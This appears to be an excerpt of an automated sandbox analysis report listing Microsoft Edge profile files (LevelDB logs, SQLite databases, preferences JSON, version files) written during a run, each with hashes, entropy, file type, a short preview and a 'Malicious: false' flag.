C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.188433015906798
Encrypted:	false
SSDEEP:	12:nSG3Qi+vLZYebvqBZFUt8kSGF/+kSGVV54ZYebvqBaJ:n5QTlYebvyg8kHvoYebvL
MD5:	314F24DC1E4EBF371EDF942D8DC55D78
SHA1:	79582BAEAE815FE986E796BD9202ED6634BE616F
SHA-256:	70609C77BD42EF35969C4112FFA02EB589CEE4B1A6C2E186F069068CE2D4DF28
SHA-512:	70AAA14793ECC64D45F316CFAA3344C0D73B10DF8BD9A75F0B00F4DFDD5BDE6105FAA39D9DE1949D92F9D41636BB33EDB45EEB796C922080CA9EE18C49AC51BE
Malicious:	false
Preview:	2024/11/20-17:12:57.105 cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-17:12:57.107 cbc Recovering log #3.2024/11/20-17:12:57.110 cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.197375839064282
Encrypted:	false
SSDEEP:	6:HHSG/QYdFN+q2PcNwi23oH+TcwtpIFUt8YHSG/QcZmw+YHSG/QcVkwOcNwi23oHs:nSG/QhvLZYebmFUt8kSG/Qc/+kSG/QcY
MD5:	4975AD70D88CFF0391B6CCE4610EA60B
SHA1:	F676C9A2CB5214CDF8CF91FD4ED41FE20F6B30A6
SHA-256:	3D1E59F3D879F2D722B69F64132C1552A7569321B154D6D5DDEAFD8C76BAF8C3
SHA-512:	441EE7AC509344D9E42F535988AD930A428FF270935CAB41A5E2A5312BE7727DE8A28DFC4F8A47457CB67E00F1D5951B8FF551841BEBF0D4EA842C57FD9E0508
Malicious:	false
Preview:	2024/11/20-17:12:40.519 1a78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-17:12:40.520 1a78 Recovering log #3.2024/11/20-17:12:40.520 1a78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.197375839064282
Encrypted:	false
SSDEEP:	6:HHSG/QYdFN+q2PcNwi23oH+TcwtpIFUt8YHSG/QcZmw+YHSG/QcVkwOcNwi23oHs:nSG/QhvLZYebmFUt8kSG/Qc/+kSG/QcY
MD5:	4975AD70D88CFF0391B6CCE4610EA60B
SHA1:	F676C9A2CB5214CDF8CF91FD4ED41FE20F6B30A6
SHA-256:	3D1E59F3D879F2D722B69F64132C1552A7569321B154D6D5DDEAFD8C76BAF8C3
SHA-512:	441EE7AC509344D9E42F535988AD930A428FF270935CAB41A5E2A5312BE7727DE8A28DFC4F8A47457CB67E00F1D5951B8FF551841BEBF0D4EA842C57FD9E0508
Malicious:	false
Preview:	2024/11/20-17:12:40.519 1a78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-17:12:40.520 1a78 Recovering log #3.2024/11/20-17:12:40.520 1a78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2653256076411599
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM0SAELyKOMq+8HKkjucswRv8p3nVumK:K0q+n0J09ELyKOMq+8HKkjuczRv892
MD5:	F2B8DB87B733A2E7705F5751480D3C52
SHA1:	CF456D82852E816EF6E923B7D06A87669AA3F595
SHA-256:	CFD157F1FF5B371F445EE36E2CF66A053330293EB8FF098D83DB096822E4238C
SHA-512:	1A59C73BF8861102919DAF8B7E8704930192B54979E41A55AF6D0AD3E00521CE7E3A6F8C15E863E5B8029F939323B06B89C323447E52B7F997C53C8D26C1A690
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46662385177883886
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0sRNr:v7doKsKuKZKlZNmu46yjx0sjr
MD5:	D11481AA00C41C578966963C841B2CAC
SHA1:	CFB38463D64A6C7ADE4FD6D4F573FE3931E7D085
SHA-256:	14B270EE3E3A6FE2E8043280F5949CADF993CA2DD9E26BF8CD9C79ADF5DA5869
SHA-512:	4418D548DBF1B29F24ECB39342E88BC880FC11FD0ECB6E2D23F4775E7D26930B76B3760A11E2E60FEDC3FBAA3545FBF052D717677C0EAE4F1B2AFB0CF432BBBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aadfe7b2-ece2-49cb-a16e-83363f19f09a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b82f4122-65f2-49e2-bb7d-9b930baee068.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9682
Entropy (8bit):	5.109122796536768
Encrypted:	false
SSDEEP:	192:st7LkdpzsGuNyaNP9kZxA8gbV+FrXGWQAISiP3YJ:st7LQzsGytJbbGBQC
MD5:	E093420DEBFAD09718CED63DD3A6101C
SHA1:	4D94C2663C818EFD84F8229AD1C387CB555C29FE
SHA-256:	BA8D281571A9EEA6636412F2EDCB19C6ED958A4BF7137102FDED9D7F87F05727
SHA-512:	946AEF101389F2507CE228C0643C9261E99A589879712E2D0A22E00BD63B91446E0F875B870AE1435898806948E48B931A542D173907401EBFD4144B0CADD1C2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dfa58898-a6d1-4b95-a83f-b2584ce56e48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17425), with no line terminators
Category:	dropped
Size (bytes):	17427
Entropy (8bit):	5.487544674168754
Encrypted:	false
SSDEEP:	384:st7LPGQSu4zsGytJrAI9wkwHMRGbGBQwBi:sROXu2ySbGyV
MD5:	D6B0D7EC72C4A4FEDAB27E8A0FD0CD0F
SHA1:	9EB81001F68A1B2D82321FBB97AEDC4E68D16AC1
SHA-256:	9C9C5E52EAA64336D5F00E106367BF984BBE694F920ECC0333A0BBC2BC79637D
SHA-512:	0278F25F8BD5A29DB786F42E8E15C2C02C7D980753C3731DEE8B11BD69BF64231CC4C0012A736BE7C0FA4AF0C26FBC42966DE06BC6B67B0D6D49F24375A52100
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376614361022732","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f54c125a-f5cd-4253-8b01-7fc94f289ca5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567260080243156
Encrypted:	false
SSDEEP:	768:V03n/ZWPtNfrG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIhLWurw3pDtuA:V03n/ZWPtNfrGu1jaRFWrVtb
MD5:	E6FE60A89616D0FE8B1237959D8C497E
SHA1:	25B66BD66EB9C1764744DC0A6AEADAE5E8C43636
SHA-256:	CA8C3CE141979EE205546960C3FAF7D92F543F876783D7FF2B021ECB88CC544C
SHA-512:	CD0D9A4E42E99EF58321820B38D738BE04170F1C2DC68D88E09A99E6AA8AB5744C0EB480C5DE2627C4930E590B37361B98D385EAA169A724AD934107EA284483
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376614360510211","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376614360510211","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10290160214574239
Encrypted:	false
SSDEEP:	6:Gu0NAGBL0NAGZXB89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/c:+8tspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	1D7FE7325A84FEF3D4FB02F2739BC339
SHA1:	D4355E9DA391CDAA26FF699BB20A2418A1A58A7F
SHA-256:	2E94A657224F2F44E4F3F5998FBBCD16348CA6C6060B482215E11908BCEA6184
SHA-512:	BE9DF7938FBC9D7C6104C9B758C1F61693BEF3CC2C7734028827B3399D499D212C890C1F1F2AFC1EC04F71339A7907AD622759EED68BF4AA7FD2C5865EB25B18
Malicious:	false
Preview:	..-.............M........C.X#..3.-.....[..#...-.............M........C.X#..3.-.....[..#.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8899380961617169
Encrypted:	false
SSDEEP:	384:CRxQky/mTYpuzPEBY9o9GSH13hv8UyHywLyPysq3ybxy9q:bh
MD5:	AB35177FA3E5EECECD59DFF10A332B96
SHA1:	FA3CA75FD705F13DED0A5E28DEDFF4F7CB678927
SHA-256:	2078AF400106E4FBF7AD911119449DC831D438EFEF52BA408FB7F9F1D8E21F76
SHA-512:	CAABABBC50EB62568C2116B714FD119A0B409A6CBF5415BF4DD3A06A42088CCDA28CB2E6481CB045FD4F167CDF10682E86CAD24F8A542C2C87DA544EA4B26B1F
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	3.993657119030139
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuPdillw0VfsedhOG:llc8BOuuuuuuuuuuuollw0VE8b
MD5:	8DED3776018C15BD6A25A1DE9875347D
SHA1:	00D5F866D28FBE6F1381C6981AD7028C4FF11970
SHA-256:	ED4835BCF8A1DCFA6EE098267CD72AF2E9B730C90751B421AE47E7FA321E6AFE
SHA-512:	4EB4716F60EC568A2ED3A78CAE4CD6708059ECF0B4DD4F32625008338C90954A70A168130C2ED2EB98B20A6585506F888F77FF1AFD86AE698276C87C15DDCAF9
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................/..;...............#38_h.......6.Z..W.F.....N.......N............V.e................*<^y0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167461150028569
Encrypted:	false
SSDEEP:	6:HHSGKHtZlyq2PcNwi23oH+TcwtfrK+IFUt8YHSGKGc1Zmw+YHSGKGKRkwOcNwi2R:nSGKHtZlyvLZYeb23FUt8kSGKH/+kSGN
MD5:	C0A3D2D39E436065CD079608270AE6F8
SHA1:	7E43EB204D36887123B4119B7DF5A27233A95AF6
SHA-256:	0B66B6C9B4AD4CF82B43733BDEA2315E93970893FBFE7575C91983F2DB863D0C
SHA-512:	1A29074EEA397593E75AAB6EE005DCEF90EF1C805E0E8D5938B79139C5B97AD8AF42BEC38B950B945DE7F77DA300694DBE8B4D701DC793DC9B0015E8C6E39BAE
Malicious:	false
Preview:	2024/11/20-17:12:41.049 1770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-17:12:41.050 1770 Recovering log #3.2024/11/20-17:12:41.050 1770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.167461150028569
Encrypted:	false
SSDEEP:	6:HHSGKHtZlyq2PcNwi23oH+TcwtfrK+IFUt8YHSGKGc1Zmw+YHSGKGKRkwOcNwi2R:nSGKHtZlyvLZYeb23FUt8kSGKH/+kSGN
MD5:	C0A3D2D39E436065CD079608270AE6F8
SHA1:	7E43EB204D36887123B4119B7DF5A27233A95AF6
SHA-256:	0B66B6C9B4AD4CF82B43733BDEA2315E93970893FBFE7575C91983F2DB863D0C
SHA-512:	1A29074EEA397593E75AAB6EE005DCEF90EF1C805E0E8D5938B79139C5B97AD8AF42BEC38B950B945DE7F77DA300694DBE8B4D701DC793DC9B0015E8C6E39BAE
Malicious:	false
Preview:	2024/11/20-17:12:41.049 1770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-17:12:41.050 1770 Recovering log #3.2024/11/20-17:12:41.050 1770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.165215291788255
Encrypted:	false
SSDEEP:	6:HHSGKHkeyq2PcNwi23oH+TcwtfrzAdIFUt8YHSGKH8z1Zmw+YHSGKH8lRkwOcNw0:nSGKHkeyvLZYeb9FUt8kSGKHQ/+kSGKK
MD5:	99E2B4690ABA1A93AAAABD2773166F86
SHA1:	4C10A9FC4D0FE424E89A5286C03C8A53EC4DD86B
SHA-256:	9ACE38464C92AD149205EF6A93B5FDDAA347A9D08A5BD2896DE5256F881D52E1
SHA-512:	8CD08FABDE63514CBB2FE541547CEAAC4B235B642029253BAD637D1A6B5019AEE107D0967887FFF3563A6B0FDE2125A5F5FA290DD8D1F2338E79B6E3035FEECA
Malicious:	false
Preview:	2024/11/20-17:12:41.045 1770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-17:12:41.046 1770 Recovering log #3.2024/11/20-17:12:41.046 1770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.165215291788255
Encrypted:	false
SSDEEP:	6:HHSGKHkeyq2PcNwi23oH+TcwtfrzAdIFUt8YHSGKH8z1Zmw+YHSGKH8lRkwOcNw0:nSGKHkeyvLZYeb9FUt8kSGKHQ/+kSGKK
MD5:	99E2B4690ABA1A93AAAABD2773166F86
SHA1:	4C10A9FC4D0FE424E89A5286C03C8A53EC4DD86B
SHA-256:	9ACE38464C92AD149205EF6A93B5FDDAA347A9D08A5BD2896DE5256F881D52E1
SHA-512:	8CD08FABDE63514CBB2FE541547CEAAC4B235B642029253BAD637D1A6B5019AEE107D0967887FFF3563A6B0FDE2125A5F5FA290DD8D1F2338E79B6E3035FEECA
Malicious:	false
Preview:	2024/11/20-17:12:41.045 1770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-17:12:41.046 1770 Recovering log #3.2024/11/20-17:12:41.046 1770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089573096122577
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4khTKKGf4SUtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7yn1t5b7VLyMV/YoskFoz
MD5:	78BEFACFD36098E9785607C6499CE9A0
SHA1:	7B3A36AC9E5BD5F1F7C8AD5F95A35CEE9749D32E
SHA-256:	65FC48863302DA4D8CEF4724B5D2A7C010DEC68A6191486FA76A306848845B69
SHA-512:	013042165C09DB81FB62A77779565F38707B0DE889CAA927C10EA0E5E05D48B5C14DABA3366CCD91D761612ADB663F03F9B1AAD3EEA131679E508CF26623C805
Malicious:	false
